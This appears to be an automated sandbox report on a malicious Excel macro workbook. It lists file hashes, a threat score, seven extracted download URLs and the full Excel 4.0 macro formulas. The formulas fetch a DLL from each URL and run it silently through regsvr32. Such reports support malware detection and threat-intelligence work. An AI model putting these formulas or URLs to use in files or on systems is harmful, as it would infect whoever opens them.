Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

General

  • Target

    02f6bb0a4a3492090cfa8b18c504086c598ed59ebe97cc2f15c7ff1a0a8f66b0

  • Size

    30KB

  • MD5

    93bd5ed6362ed3ea3eb3d4429b62fd7c

  • SHA1

    2f544abdabdf1c951a8951343e0fea337fbda5cc

  • SHA256

    02f6bb0a4a3492090cfa8b18c504086c598ed59ebe97cc2f15c7ff1a0a8f66b0

  • SHA512

    a1b6964dd207669a1ae31de5df8cd281e2c45c997606a908494cd37af87d765de87ab0ded07d9b6f4ef6e099464c456cb0d8f4029c7b5757d86aabf90560c39f

  • SSDEEP

    384:H842JZPFhNjtOA7icg0SCdiVH2KgUrNU/qWhZOdBNPJM+kqr9eCgh0k5M2E6v:AHFhNZliH2ydFfPdkqstJhE6v

Score
10/10

Malware Config

Extracted

Rule
Excel 4.0 XLM Macro
C2

http://henrysfreshroast.com/6cc4ts0bkrOlXq/

http://consejosdeorlando.com/wp-includes/jxTbRk2DgQOIOyokR/

http://blog.centerking.top/wp-includes/DBq5jx/

http://polarrefrigeracao.com.br/fontes/y7QpO/

http://filmsetserie.dx.am/img/ghCY9J5KD1J/

https://vagbharati.in/wp-admin/nYBb/

http://advogadogoiania.com.br/wp-includes/O9Az4/

Attributes
  • formulas

    =CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://henrysfreshroast.com/6cc4ts0bkrOlXq/","..\rfs.dll",0,0) =IF('LFEVE'!F11<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://consejosdeorlando.com/wp-includes/jxTbRk2DgQOIOyokR/","..\rfs.dll",0,0)) =IF('LFEVE'!F13<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://blog.centerking.top/wp-includes/DBq5jx/","..\rfs.dll",0,0)) =IF('LFEVE'!F15<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://polarrefrigeracao.com.br/fontes/y7QpO/","..\rfs.dll",0,0)) =IF('LFEVE'!F17<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://filmsetserie.dx.am/img/ghCY9J5KD1J/","..\rfs.dll",0,0)) =IF('LFEVE'!F19<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://vagbharati.in/wp-admin/nYBb/","..\rfs.dll",0,0)) =IF('LFEVE'!F21<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://advogadogoiania.com.br/wp-includes/O9Az4/","..\rfs.dll",0,0)) =IF('LFEVE'!F23<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\rfs.dll") =RETURN()

Signatures

  • Suspicious Office macro 1 IoCs

    Office document equipped with 4.0 macros.

Files

  • 02f6bb0a4a3492090cfa8b18c504086c598ed59ebe97cc2f15c7ff1a0a8f66b0
    .xlsm office2007